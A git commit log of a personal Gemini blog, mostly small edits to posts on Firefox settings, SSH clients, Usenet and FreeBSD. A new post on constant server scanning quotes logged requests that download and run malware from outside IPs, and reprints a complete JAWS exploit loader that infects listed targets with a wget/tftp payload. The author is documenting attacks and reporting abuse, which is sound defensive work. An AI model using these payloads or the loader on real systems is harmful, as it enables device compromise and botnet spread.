 * about:config **network.trr.mode** = 5 (disable trusted recursive resolver dns over https by choice)
 * about:config **extensions.webextensions.retrictedDomains** = "" (enable ad blockers on all domains, inculding mozilla domains)
+* from firefox 114, about:config **cookiebanners.ui.desktop.enabled** = true
 
 **Plugins:**
 
diff --git a/2021-07-21-ssh-clients-in-ios.gmi b/2021-07-21-ssh-clients-in-ios.gmi
index 37929e9..fb77748 100644
--- a/2021-07-21-ssh-clients-in-ios.gmi
+++ b/2021-07-21-ssh-clients-in-ios.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2022-10-21 13:55:22
+date: 2023-06-05 13:50:18
 
 categories: updates
 
@@ -14,13 +14,18 @@ On my iPhone, I usually use the termius SSH client but today when I tried to sta
 
 This happened before: In 2011, I was using the SSH client called `Prompt` then I was forced to update the app and couldn't use it anymore, that's when I started using termius.
 
-Shelly works but there is a nagging screen, so now I use:
+// Shelly works but there is a nagging screen, so now I use:
 
-Blink Shell & Code Editor (free and open source)
+// Blink Shell & Code Editor (free and open source)
 
+// 
 => https://blink.sh blink.sh
 
-Well, sometimes blink looks itself and I have to wait 1 minute.
+// Well, sometimes blink locks itself and I have to wait 1 minute.
+
+Now there is an update for blink and it seems I have to pay a subscription to be able to use it (I updated because it was not displaying text correctly anymore).
+
+I use Shelly instead.
 
 hashtags: #updates #ssh #iphone
 
diff --git a/2021-10-02-newsgroups-on-usenet.gmi b/2021-10-02-newsgroups-on-usenet.gmi
index b561fe9..7c0f568 100644
--- a/2021-10-02-newsgroups-on-usenet.gmi
+++ b/2021-10-02-newsgroups-on-usenet.gmi
@@ -32,6 +32,11 @@ I checked out some newsgroups and I found some that still active like `comp.lang
 There is a list of News service providers at: 
 => https://www.big-8.org/wiki/News_service_providers NSP list
 
+Other server lists: 
+=> http://usenet.ovh/?article=faq_serveur_gratuit Serveurs de newsgroups
+
+=> https://sybershock.com/#usenet Usenet
+
 These NSPs are free and text-only:
 
 * 
diff --git a/2021-12-25-gcc-warning-options.gmi b/2021-12-25-gcc-warning-options.gmi
index 8f82ca8..b957d17 100644
--- a/2021-12-25-gcc-warning-options.gmi
+++ b/2021-12-25-gcc-warning-options.gmi
@@ -87,6 +87,10 @@ For more detailed information about Clang warning options check out
 => https://clang.llvm.org/docs/DiagnosticsReference.html Diagnostic flags in Clang (short descriptions)
 .
 
+# Guides
+
+[https://github.com/ossf/wg-best-practices-os-developers/blob/main/docs/Compiler_Hardening_Guides/Compiler-Options-Hardening-Guide-for-C-and-C++.md](Compiler Options Hardening Guide for C and C++)
+
 hashtags: #cprogramming
 
 => feed.gmi Feed
diff --git a/2022-02-24-my-privacy-settings-in-ios-and-android.gmi b/2022-02-24-my-privacy-settings-in-ios-and-android.gmi
index 670b447..854c493 100644
--- a/2022-02-24-my-privacy-settings-in-ios-and-android.gmi
+++ b/2022-02-24-my-privacy-settings-in-ios-and-android.gmi
@@ -69,6 +69,6 @@ I wish these settings would be opted out by default when the account is created
 * 
 => 2022-01-29-google-takeout.gmi Delete data with Google Takeout
 
-hashtags: #privacy
+hashtags: #privacy #iphone #android
 
 => feed.gmi Feed
diff --git a/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi b/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
new file mode 100644
index 0000000..edbdb0f
--- /dev/null
+++ b/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
@@ -0,0 +1,459 @@
+# My server is getting scanned all the time
+
+=> feed.gmi Feed
+
+date: 2023-06-24 18:07:35
+
+categories: default
+
+firstPublishDate: 2023-06-24 18:07:35
+
+My server runs a web server and an ssh server, there is nothing on the web server and there is no link on the internet pointing to it, all devices connected to the internet are getting scanned.
+
+Normally nobody would connect to port 80 since there are no links and no content, but there are lots of connections happening.
+
+The web server gets these type accesses:
+
+```
+GET /.env HTTP/1.1
+GET /shell?cd+/tmp;rm+-rf+*;wget+45.81.243.34/jaws;sh+/tmp/jaws HTTP/1.1
+GET /shell?cd+/tmp;rm+-rf+*;wget+204.44.109.117/jaws;sh+/tmp/jaws HTTP/1.1
+GET /proxychecker/index.php HTTP/1.1
+GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
+HEAD /wordpress HTTP/1.1
+POST /boaform/admin/formLogin HTTP/1.1
+GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://114.225.221.114:56637/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
+GET /echo.php HTTP/1.1
+GET /admin/db.sql HTTP/1.1
+CONNECT  HTTP/1.1
+GET /?Z70166322662Q1 HTTP/1.1
+GET /MyAdmin/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.0
+GET /phpmyadmin/scripts/setup.php HTTP/1.0
+GET /php/scripts/setup.php HTTP/1.0
+GET /mysqladmin/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin/scripts/setup.php HTTP/1.0
+GET /_phpMyAdmin/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.0
+GET /dbadmin/scripts/setup.php HTTP/1.0
+GET /mysqlmanager/scripts/setup.php HTTP/1.0
+GET /sqlweb/scripts/setup.php HTTP/1.0
+GET /webadmin/scripts/setup.php HTTP/1.0
+GET /phpmanager/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.11.3/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2/scripts/setup.php HTTP/1.0
+GET /db/scripts/setup.php HTTP/1.0
+GET /admin/phpmyadmin/scripts/setup.txt HTTP/1.0
+GET /mysql/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.5.5/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.11.7/scripts/setup.php HTTP/1.0
+GET /admin/pma/scripts/setup.php HTTP/1.0
+GET /myadmin/scripts/setup.php HTTP/1.0
+GET /PHPMYADMIN/scripts/setup.php HTTP/1.0
+GET /pma/scripts/setup.php HTTP/1.0
+GET /mysql-admin/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.11.0/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.11.9.2/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.5.5-pl1/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.10.2/scripts/setup.php HTTP/1.0
+GET /websql/scripts/setup.php HTTP/1.0
+GET /sqlmanager/scripts/setup.php HTTP/1.0
+GET /phpma/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin3/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.10.3/scripts/setup.php HTTP/1.0
+GET /admin/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.8.0.2/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin2/scripts/setup.php HTTP/1.0
+GET /web/phpMyAdmin/scripts/setup.php HTTP/1.0
+GET /php-myadmin/scripts/setup.php HTTP/1.0
+GET /phpmy-admin/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.5.4/scripts/setup.php HTTP/1.0
+GET /webdb/scripts/setup.php HTTP/1.0
+GET /phpMyAdmin-2.5.7-pl1/scripts/setup.php HTTP/1.0
+GET /SQL/scripts/setup.php HTTP/1.0
+POST /mgmt/tm/util/bash HTTP/1.1
+GET /.git/HEAD HTTP/1.1
+GET /nmaplowercheck1680223056 HTTP/1.1
+GET /System/configurationFile?auth=YWRtaW46MTEK HTTP/1.1
+```
+
+These requests come from:
+
+* data centers: 'security research' at companies and universities, vps running malicious software, vps created and destroyed after a few hours (only the SSH port is open, these machines only scan), game servers...
+* ISPs: compromised computers and internet devices: routers, internet connected cameras, self-hosters...
+* Mobile phone operators, mobile phones running malware
+
+To get some information about the source ips, enter the ip in the greynoise service: 
+=> https://viz.greynoise.io/ 
+=> https://viz.greynoise.io/
+
+There is also the abuseipdb service: 
+=> https://www.abuseipdb.com/ 
+=> https://www.abuseipdb.com/
+
+Some of the tools used to scan the machines are: 
+=> https://github.com/robertdavidgraham/masscan massscan
+
+=> https://nmap.org/ nmap
+
+=> https://zmap.io/ zgrab
+anonymous botnets
+
+[https://en.wikipedia.org/wiki/Botnet](Botnet article on Wikipedia)
+
+Some of the 'security research' companies are:
+
+* internet-census.org: ip 185.180.143.72 as211680 anubisnetworks.com
+* shodan.io: ip 198.20.69.98 census2.shodan.io as32475 singlehop.com, ip 185.142.236.41 guitar.census.shodan.io as174 cogentco.com
+* 
+=> https://academyforinternetresearch.org/ academyforinternetresearch
+
+Theses companies map the internet and sell the data to other companies.
+
+The 'security research' labs leave a message with contact information and one can opt out from the scan:
+
+```
+Ip: 38.110.46.2
+    Hello,
+
+    This is a research scanning machine from the Georgia Institute of Technology.
+    This machine regularly conducts scans of the entire Internet so you may have been scanned as part of an ongoing research project.
+
+    If you have been or are currently being scanned and would like to opt out, please email
+    scp-network-measurement@cc.gatech.edu with the name or address of the scanner,
+    and the IP ranges you would like to exclude in CIDR format and we will respond immediately.
+```
+
+Scanning back the source ips, I found devices like:
+
+* a DVR from 
+=> https://shieldcctv.com/filter/dvr shield technology
+running malware.
+* a Microtik router running RouterOS 6.34.2 (release in 2016).
+* a Cisco router
+* machines running OpenVPN CWS on a web server.
+
+I found a service selling access to proxy servers: 
+=> http://www.proxywiki.org/ proxywiki
+
+=> https://www.xroxy.com/ xroxy
+
+=> http://www.proxyrss.com/ proxyrss
+
+=> http://www.proxville.com/ proxville
+
+=> http://www.proxy-toplist.com/ proxy-toplist
+
+When the source ip is from a mobile operator, the device is behind cgnat and is unreachable and in general it is the ip of a CISCO router.
+
+The location of the source ips is all over the world, on some days most of the scans were coming from brazil mobile phone networks and ISPs, I think people there are running an app containing some malware... Some scans happen during the day in the source ip location so the malicious software runs on devices that people turn on and off.
+
+To reduce the amount of scans, I have been blocking ASNs. The first blocked ASNs were the big clouds: Amazon, Azure, Google, Digital Ocean, Vutlr, Ovh,... because those clouds do a lot of scanning from many ips.
+
+Over the course of 2 months, the scans have been coming from about 1400 ASNs, these ASNs route 1.3 billion ipv4 addresses.
+
+[gemini://gmi.noulin.net/asns.txt](ASNs with devices scanning my server)
+
+There are VPSes in Digital ocean distributing malware, I reported the abuse and Digital ocean terminated the user account.
+
+Report abuses at: [https://www.digitalocean.com/company/contact/#abuse](Digital Ocean Abuse)
+
+For all my abuse reports, I get this reply:
+
+```
+Subject: New Intrusion/Exploit Abuse Form Submission
+Hello,
+
+Thank you for the report. We have notified the appropriate customers.
+
+We appreciate your efforts in helping to clean up the internet!
+
+Regards,
+Security Operations Center
+DigitalOcean
+```
+
+AWS, Microsoft and Google also have abuse report pages: [https://aws.amazon.com/forms/report-abuse](AWS abuse) [https://msrc.microsoft.com/report/abuse](Microsoft abuse) [https://support.google.com/code/contact/cloud_platform_report?hl=en](Google abuse)
+
+The web server gets a lot of request like this `/shell?cd+/tmp;rm+-rf+*;wget+45.81.243.34/jaws;sh+/tmp/jaws`, I searched for the program generating these requests and I found a version of the script trying to upload jaws: [https://github.com/R00tS3c/DDOS-RootSec/blob/master/Botnets/Exploits/JAWS/jaws_loader.py](Jaws loader github)
+
+```
+#Jaws Exploit Loader
+import random, socket, time, sys, requests, re, os
+from multiprocessing import Process
+
+if len(sys.argv) < 2:
+    sys.exit("usage: python %s <input list> <port>" % (sys.argv[0]))
+
+bin_names = ["ARM7", "ARM4"]
+list = open(sys.argv[1], "r").readlines()
+port = sys.argv[2]
+
+def send_payload(target):
+    for names in bin_names:
+    	print "[JAWS/1.0] attempting to infect %s with bin %s" % (target, names)
+        url = "http://" + target + ":" + port + "/shell?cd /tmp; echo >NiGGeR || cd /var; echo >NiGGeR; cp /bin/busybox yeet; >yeet; chmod 777 yeet; nohup wget http:/\/209.66.128.162:80/%s -O yeet || nohup tftp -r %s -g 209.66.128.162 -l yeet; chmod 777 yeet;./yeet; rm -rf yeeter >/dev/null 2>&1" % (names, names)
+        try:
+            output = requests.get(url, timeout=3)
+            if output.status_code == int('200'):
+                print "[JAWS/1.0] infected %s" % (target)
+                file_h = open("jaws_infected.txt", "a+")
+                file_h.write(target + "\n")
+                file_h.close()
+    			break
+        except:
+            pass
+
+for i in open(sys.argv[1]).readlines():
+    try:
+        i = i.strip("\r\n")
+        t = Process(target=send_payload, args=(i,))
+        t.start()
+    except KeyboardInterrupt:
+        os.kill(os.getpid(), 9)
+    except:
+        pass
+```
+
+Some machines are running a version of the mirai botnet, on port 1024 I got:
+
+```
+Welcome to the Yugi v4 Mirai Variant!
+
+# scan the machines with nmap:
+nmap -sS -O 109.205.213.41
+Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-10 07:16 +02
+Nmap scan report for 109.205.213.41
+Host is up (0.094s latency).
+Not shown: 995 closed ports
+PORT     STATE SERVICE
+21/tcp   open  ftp
+22/tcp   open  ssh
+80/tcp   open  http
+1024/tcp open  kdm
+3306/tcp open  mysql
+Device type: general purpose
+Running: Linux 4.X
+OS CPE: cpe:/o:linux:linux_kernel:4.4
+OS details: Linux 4.4
+Network Distance: 19 hops
+```
+
+The SSH service is the most scanned, the botnets scanning SSH are more widespread than the ones scanning the web servers. These scans come from the same type of networks (data centers, ISPs, mobile networks) and from more geographical locations. I use rate limiter (fail2ban and sshguard) and I get 3 login attempts per minute from 200 ips a day from these type of machines:
+
+* Linux Servers
+* Android devices
+
+Android devices are the majority of devices scanning the SSH services when they are connected to Wifi and mobile networks. I haven't found any information about which apps run these botnets.
+
+Maybe there is some information on github: [https://github.com/topics/android-botnet](Android botnet topic on github)
+
+The botnets use the root username most of the time and also try many other usernames, some of them are:
+
+```
+.log 123!@# 159casia@yhy357 Cmadaas@2019 NetAdmin Wanglei00 a adam adfexc adm admin admin1234 alan an appldev aqswdefr bds black bpsolutions build byzoro cactiuser cluster com cvs debian deployer dev didichan dmdba dpoint dreambox elk es flw ftp_user ftpadmin gandalf graphic greenplum guest hadoop hhm huawei hxhtftp hxhttp hyper information inspur invoice jboss jenkins jhj jiangyue john jtx9d321 jysong kafka lafe lenovo liuyichen lixiaoke localhost lsfadmin lsh lxc maowd matt minecraft myapn_cen nadmin nagios njzt nmsuser now5 nvidia odoo openpose oracle oracletest osboxes ossuser owa prabha prueba ps qlli qwy robertlu root rzchi secadd share shiluj shop shopdb steam student suahn21 subzero swsong tao test test1 test2 thl tiago tiankong314 tippy tomcat tve ubuntu ubuntu1 uftp usearch user user0 user01 user5 vbox vps web webadmin webapp wocloud wsm wuhz wwwlog xiangliyao yskwon yuelv za zhangby zhangyi zhasen zhouxy zone zxcasd
+```
+
+There are mobile phone with botnets preinstalled: [https://www.techspot.com/news/98667-millions-android-phones-come-pre-installed-malware-there.html](Preinstalled botnets on android phones)
+
+I want to be able monitor the connection from my android phone and I found the netguard app which works as a firewall but it creates a VPN which drains the battery. It would be better to have access to nftables and iptables since android runs linux.
+
+There is a service that gives the email address to report abuse for an ip address: 
+=> abuse.net 
+=> https://www.abuse.net
+
+Most of the time, I don't get a reply to my abuse report.
+
+I have got this reply from MVPS.net:
+
+```
+Thank you for the notification. We've suspended the service.
+
+Kind Regards,
+MVPS.net Abuse
+```
+
+I sent an abuse email to JPNIC, I thought it was the ISP because the domain is `nic.ad.jp` and I got the email address from abuse.net. JPNIC replied telling me to use whois:
+
+```
+whois -h whois.nic.ad.jp 210.149.68.157/e
+[ JPNIC database provides information regarding IP address and ASN. Its use   ]
+[ is restricted to network administration purposes. For further information,  ]
+[ use 'whois -h whois.nic.ad.jp help'. To only display English output,        ]
+[ add '/e' at the end of command, e.g. 'whois -h whois.nic.ad.jp xxx/e'.      ]
+
+Network Information:
+a. [Network Number]             210.149.68.0/24
+b. [Network Name]               T-CLOUD-2
+g. [Organization]               Thomas of America
+m. [Administrative Contact]     AS30773JP
+n. [Technical Contact]          AS30773JP
+o. [Abuse]
+p. [Nameserver]                 ns1.raservers.net
+p. [Nameserver]                 ns2.raservers.net
+[Assigned Date]                 2020/10/07
+[Return Date]
+[Last Update]                   2020/12/21 13:17:03(JST)
+
+Less Specific Info.
+----------
+Internet Initiative Japan Inc.
+                     [Allocation]                               210.149.0.0/16
+
+More Specific Info.
+----------
+No match!!
+```
+
+The contact information is `AS30773JP`, it is an ASN. So I queried JPNIC about this ASN:
+
+```
+whois -h whois.nic.ad.jp ^AS30773JP
+[ JPNIC database provides information regarding IP address and ASN. Its use   ]
+[ is restricted to network administration purposes. For further information,  ]
+[ use 'whois -h whois.nic.ad.jp help'. To only display English output,        ]
+[ add '/e' at the end of command, e.g. 'whois -h whois.nic.ad.jp xxx/e'.      ]
+
+Contact Information:
+a. [JPNIC Handle]               AS30773JP
+c. [Last, First]                Sogi, Akiyuki
+d. [E-Mail]                     support@1strentalserver.com
+g. [Organization]               Thomas of America
+l. [Division]                   Hosting devision
+n. [Title]
+o. [TEL]
+p. [FAX]
+y. [Reply Mail]                 apply@iij.ad.jp
+[Last Update]                   2020/10/05 10:53:03(JST)
+                                db-staff@nic.ad.jp
+```
+
+I suppose the abuse email address is on the d line.
+
+The address of the RIRs whois databases are:
+
+```
+  APNIC WHOIS(whois.apnic.net)
+  ARIN WHOIS(whois.arin.net)
+  AfriNIC WHOIS(whois.afrinic.net)
+  JPNIC WHOIS(whois.nic.ad.jp)
+  LACNIC WHOIS(whois.lacnic.net)
+  RIPE WHOIS(whois.ripe.net)
+```
+
+With whois, I sometimes get the abuse email directly:
+
+```
+whois -h whois.apnic.net 203.114.102.173
+% [whois.apnic.net]
+% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html
+
+% Information related to '203.114.96.0 - 203.114.127.255'
+
+% Abuse contact for '203.114.96.0 - 203.114.127.255' is 'abuse@totisp.net'
+
+inetnum:        203.114.96.0 - 203.114.127.255
+netname:        TOTNET-AP
+descr:          TOT public company limited
+descr:          Telecommunication Provider, Network Service Provider (NSP)
+descr:          Internet Service Provider (ISP) in Thailand
+country:        TH
+org:            ORG-TPCL1-AP
+admin-c:        pa82-ap
+tech-c:         tk56-ap
+tech-c:         SS110-AP
+abuse-c:        AT950-AP
+status:         ALLOCATED PORTABLE
+remarks:        ------------------------------------------------
+remarks:        This object can only be modified by APNIC hostmaster
+remarks:        If you wish to modify this object details please
+remarks:        send email to hostmaster@apnic.net with your organisation
+remarks:        account name in the subject line.
+remarks:        ------------------------------------------------
+mnt-by:         APNIC-HM
+mnt-lower:      MAINT-TH-TOT
+mnt-routes:     MAINT-TH-TOT
+mnt-irt:        IRT-TOT-TH
+last-modified:  2020-07-09T07:13:24Z
+source:         APNIC
+```
+
+To list the networks belonging to an AS with whois, query radb like this:
+
+```
+whois -h whois.radb.net -- '-i origin AS134166'
+route:      203.114.102.0/24
+descr:      CAT route object for TOT
+origin:     AS134166
+mnt-by:     MAINT-THIX-CAT-TH
+changed:    catdb@cat.net.th 20160112
+source:     RADB
+
+route:      1.179.247.0/24
+descr:      CAT route object for TOT
+origin:     AS134166
+mnt-by:     MAINT-THIX-CAT-TH
+changed:    catdb@cat.net.th 20160125
+source:     RADB
+
+...
+
+# LIST ipv4 NETWORKS ONLY:
+whois -h whois.radb.net -- '-i origin AS134166'| grep -Eo "([0-9.]+){4}/[0-9]+"|sort -u
+113.53.228.0/24
+1.179.246.0/23
+1.179.246.0/24
+1.179.247.0/24
+118.174.10.0/24
+118.174.11.0/24
+118.174.8.0/22
+118.174.8.0/24
+118.174.9.0/24
+118.175.1.0/24
+118.175.28.0/24
+180.180.242.0/23
+180.180.242.0/24
+180.180.243.0/24
+180.180.244.0/23
+180.180.244.0/24
+180.180.245.0/24
+180.180.247.0/24
+203.113.10.0/24
+203.113.11.0/24
+203.113.12.0/24
+203.113.124.0/24
+203.113.125.0/24
+203.113.126.0/24
+203.113.14.0/24
+203.113.15.0/24
+203.113.25.0/24
+203.113.4.0/24
+203.113.5.0/24
+203.113.6.0/24
+203.113.70.0/24
+203.113.7.0/24
+203.113.71.0/24
+203.113.8.0/22
+203.113.8.0/24
+203.113.9.0/24
+203.113.95.0/24
+203.114.100.0/24
+203.114.102.0/24
+203.114.112.0/24
+203.114.116.0/24
+203.114.96.0/24
+203.114.97.0/24
+203.114.98.0/24
+203.114.99.0/24
+```
+
+The list of networks I get with these queries is not accurate, some networks belong to other ASNs, I prefer to ip2location
+
+=> ip2location.com 
+=> https://ip2location.com
+
+Every day I'm adding ASNs to the list, but now I'm getting 2 to 5 bruteforce login attempts a day on the SSH service, which is low compare to where it was at the begining.
+
+Hashtags: #botnet #malware #security #exploits #zombie #abuse #whois
+
+=> feed.gmi Feed

commit fef1149872a8f0f630b4de3efcca38f44f58a8de
Author: Remy Noulin <loader2x@gmail.com>
Date:   Sun May 14 15:36:03 2023 +0200

    Update

diff --git a/2020-07-10-emulators-in-debian-buster.gmi b/2020-07-10-emulators-in-debian-buster.gmi
index ab53d15..18b2d3a 100644
--- a/2020-07-10-emulators-in-debian-buster.gmi
+++ b/2020-07-10-emulators-in-debian-buster.gmi
@@ -16,7 +16,7 @@ I downloaded the AppImage, chmoded the file to 755 and it works.
 
 At the first run, it downloads automatically the game data.
 
-I created the map of france and crimea for openra, it is available for download at 
+I created a few maps for openra, they are available for download at 
 => https://resource.openra.net/maps/47142 France
 , 
 => https://resource.openra.net/maps/49006/ Crimea
@@ -33,7 +33,7 @@ I created the map of france and crimea for openra, it is available for download
 Only the person creating the network game needs to copy the map file to:
 
 ```
-~/.config/openra/maps/ra/release-20210321/
+~/.config/openra/maps/ra/release-20230225/
 ```
 
 The other players can download the map from the game interface.
diff --git a/2023-03-21-how-to-create-a-partition-larger-than-2tb-with-fdisk.gmi b/2023-03-21-how-to-create-a-partition-larger-than-2tb-with-fdisk.gmi
index 70860f3..84877f7 100644
--- a/2023-03-21-how-to-create-a-partition-larger-than-2tb-with-fdisk.gmi
+++ b/2023-03-21-how-to-create-a-partition-larger-than-2tb-with-fdisk.gmi
@@ -1,4 +1,4 @@
-# how to create a partition larger than 2TB with fdisk
+# How to create a partition larger than 2TB with fdisk
 
 => feed.gmi Feed
 
@@ -103,4 +103,6 @@ Writing superblocks and filesystem accounting information: done
 # mount /dev/nvme0n1p1 /mnt
 ```
 
+Hashtag: #fdisk
+
 => feed.gmi Feed
diff --git a/2023-04-06-installing-freebsd.gmi b/2023-04-06-installing-freebsd.gmi
index 8ca210a..cff5a25 100644
--- a/2023-04-06-installing-freebsd.gmi
+++ b/2023-04-06-installing-freebsd.gmi
@@ -42,4 +42,6 @@ Libc in FreeBSD is a bit different compare to glibc:
 * glibc supports user define type specifiers for printf format strings
 * libgen.h has to be explicitly included for the basename function
 
+Hashtag: #freebsd
+
 => feed.gmi Feed
diff --git a/2023-05-14-computers-of-the-80s.gmi b/2023-05-14-computers-of-the-80s.gmi
new file mode 100644
index 0000000..74682ff
--- /dev/null
+++ b/2023-05-14-computers-of-the-80s.gmi
@@ -0,0 +1,115 @@
+# Computers of the 80s
+
+=> feed.gmi Feed
+
+date: 2023-05-14 15:34:48
+
+categories: default
+
+firstPublishDate: 2023-05-14 15:34:48
+
+My first computer was a Sinclair ZX Spectrum 48, an 8 bit computer, I got it for christmas in 1982. When I was in the computer shop with my parents in Paris, I looked briefly at the Intellivision and Atari 2600 and I spent most of my time playing Mine Storm on the Vectrex, I was impressed by the vector graphics, meanwhile my parents were talking with the salesman about the microcomputers.
+
+=> https://en.wikipedia.org/wiki/Intellivision Intellivision
+
+=> https://en.wikipedia.org/wiki/Atari_2600 Atari 2600
+
+=> https://en.wikipedia.org/wiki/Vectrex Vectrex
+
+I wanted to buy the Vectrex but my parents told me there were only games for this machine, they thought the Spectrum was better because there were more games, it could be programmed and the price/feature ratio was good. In retropect, it was the right choice, the games were good and I liked programing in BASIC.
+
+A friend of mine had in Atari 2600, I thought the game were fun and well done.
+
+At school, there were computer rooms with microcomputers, they had:
+
+* Dragon 32 or 64, I thought this computer was worse than Spectrum. It had lower graphics and slower CPU.
+* Sinclair ZX81 was previous generation Sinclair computers, it had too little RAM and lower graphics
+* Oric Atmos, less software was developed for this computer compare to the Spectrum.
+* Commodore 64, better than the Spectrum and too expensive.
+* Thomson TO7, it had a 1Mhz CPU and was a bit slow. But it had an optical pen and could draw straight line on the screen. A friend had one because his parent wanted to buy a french computer.
+* Commodore VIC-20, it had less RAM than the Spectrum.
+* Thomson MO5, the Spectrum was better (1Mhz CPU).
+
+=> https://en.wikipedia.org/wiki/Dragon_64 Dragon 64
+
+=> https://en.wikipedia.org/wiki/ZX81 ZX 81
+
+=> https://en.wikipedia.org/wiki/Oric_Atmos Oric Atmos
+
+=> https://en.wikipedia.org/wiki/C64 Commodore 64
+
+=> https://en.wikipedia.org/wiki/To7 Thomson TO7
+
+=> https://en.wikipedia.org/wiki/VIC-20 VIC-20
+
+=> https://en.wikipedia.org/wiki/Thomson_MO5 Thomson MO5
+
+When I saw the Sinclair QL, I didn't like it because there were not a lot of software for it and it was too expensive, I was impressed by the 128kb of RAM. I didn't know about the 32bit CPU and I thought it was a Z80 CPU.
+
+=> https://en.wikipedia.org/wiki/Sinclair_ql Sinclair QL
+
+The computers during this period were not compatible with each other, so it was very important that the wanted set of software was available for the chosen computer. They were booting to basic so most kids were programming in basic.
+
+In 1986, a friend of mine had a Thomson TO9+, this computer had a 1Mhz CPU and I thought that's bad all other computers have faster CPUs.
+
+=> https://en.wikipedia.org/wiki/Thomson_TO9%2B Thomson TO9+
+
+I saw the MSX in computer magazines, it was a powerful machine but too expensive.
+
+=> https://en.wikipedia.org/wiki/MSX MSX
+
+I met someone who had an Exelvision, I thought there were some cool features: it had cartridges (it was fast to load programs, on the Spectrum it was taking between 10 and 20 minutes to load a program from tape) and it had speech synthesis and I didn't know about the other features (RAM, CPU and graphics).
+
+=> https://en.wikipedia.org/wiki/Exelvision Exelvision
+
+One day someone my mom knew came to our house with an Apple Macintosh, I thought the good feature were the floppy disk, the mouse and the graphics but it was too expensive and it didn't have a lot of games.
+
+=> https://en.wikipedia.org/wiki/Macintosh_128K Macintosh 128K
+
+Later my parents bought an Amstrad CPC 6128 because it was an improved Spectrum with 3 inch floppy disk, more RAM and better graphics with a palette of 27 colors with the right price. There were lots of software available for this computer, it was quite easy to port the games from the Spectrum to the CPC.
+
+=> https://en.wikipedia.org/wiki/Amstrad_CPC_6128 Amstrad CPC 6128
+
+My uncle had an IBM PC 5150, I had CPM on the CPC and I thought MSDOS was similar and better but the screen was displaying only text in black and green, so I didn't like it. It was slow to start because it was checking the RAM at boot (the Spectrum and CPC were booting instantly).
+
+=> https://en.wikipedia.org/wiki/IBM_5150 IBM PC
+
+In the 80s, the display resolution, the palette and the number of colors on screen were important and there were significant improvements. On the Spectrum, we couldn't display anything close to a photo. My PC with VGA and MCGA was the first computer display photos in 256 colors.
+
+The best games were on arcade. They had better gameplay, more colors, better animation and better sound. The arcade games were ported to microcomputers and the best to worse versions were: Amiga, Atari ST, Amstrad CPC / Comodore 64, Spectrum.
+
+Today, we can still play the 80's games, thanks to the emulators.
+
+=> 2020-07-10-emulators-in-debian-buster.gmi Emulators in Debian
+
+Some of the games I was playing:
+
+```
+Arcadia
+Atic Atac
+Battle Car
+Beach Head
+Boulder Dash
+Bruce Lee
+Cavern Fighter
+Enduro Racer
+Interceptor
+Jet Pac
+Jumping Jack
+Macadam Bumper
+Moon Alert
+PSSST
+Road Toad
+Saboter
+Sir Lancelot
+Slap Dad
+Space Harrier
+Spectres
+The Rocky Horror Show
+The exploding Fist
+Winter Games
+```
+
+After this generation of 8bit computers, there were the Amiga, Atari ST, 80286 and 80386 PCs with VGA graphics.
+
+=> feed.gmi Feed

commit d8c9589c9895c4e5e0af606993c9308db6530b6a
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Apr 6 13:46:00 2023 +0200

    Update

diff --git a/2021-10-02-newsgroups-on-usenet.gmi b/2021-10-02-newsgroups-on-usenet.gmi
index d5a8d56..b561fe9 100644
--- a/2021-10-02-newsgroups-on-usenet.gmi
+++ b/2021-10-02-newsgroups-on-usenet.gmi
@@ -42,6 +42,8 @@ These NSPs are free and text-only:
 => https://www.solani.org/ solani
 * 
 => https://dotsrc.org/usenet/ dotsrc
+* 
+=> https://usenet.blueworldhosting.com/ BlueWorld Usenet Farm
 
 # Newsreader software
 
diff --git a/2023-04-06-installing-freebsd.gmi b/2023-04-06-installing-freebsd.gmi
new file mode 100644
index 0000000..8ca210a
--- /dev/null
+++ b/2023-04-06-installing-freebsd.gmi
@@ -0,0 +1,45 @@
+# Installing FreeBSD
+
+=> feed.gmi Feed
+
+date: 2023-04-06 13:34:23
+
+categories: default
+
+firstPublishDate: 2023-04-06 13:34:23
+
+I recently installed FreeBSD on a Dell Latitude D610 laptop (2005) and it worked directly with the default configuration.
+
+How to install FreeBSD with a USB stick:
+
+```
+# copy the memstick image to the USB stick
+dd if=FreeBSD-13.2-RC3-i386-memstick.img of=/dev/sdb bs=1M conv=sync
+# boot on USB and setup partitions...
+# install GUI
+pkg install xorg
+pw groupmod video -m guestuser || pw groupmod wheel -m guestuser
+pkg install git
+# install and start xfce
+pkg install xfce
+echo "exec /usr/local/bin/startxfce4 --with-ck-launch" > ~/.xinitrc
+startx
+```
+
+After boot, the system takes 200MB and when XFCE is started, it take around 400MB.
+
+I changed the sshd configuration to allow root login with keys.
+
+```
+vi /etc/ssh/sshd_config
+PermitRootLogin prohibit-password
+
+service sshd restart
+```
+
+Libc in FreeBSD is a bit different compare to glibc:
+
+* glibc supports user define type specifiers for printf format strings
+* libgen.h has to be explicitly included for the basename function
+
+=> feed.gmi Feed

commit 3d49cb3c8abaebeadcfd3ece96bd3d6ef666b06f
Author: Remy Noulin <loader2x@gmail.com>
Date:   Tue Mar 21 15:34:54 2023 +0200

    Update

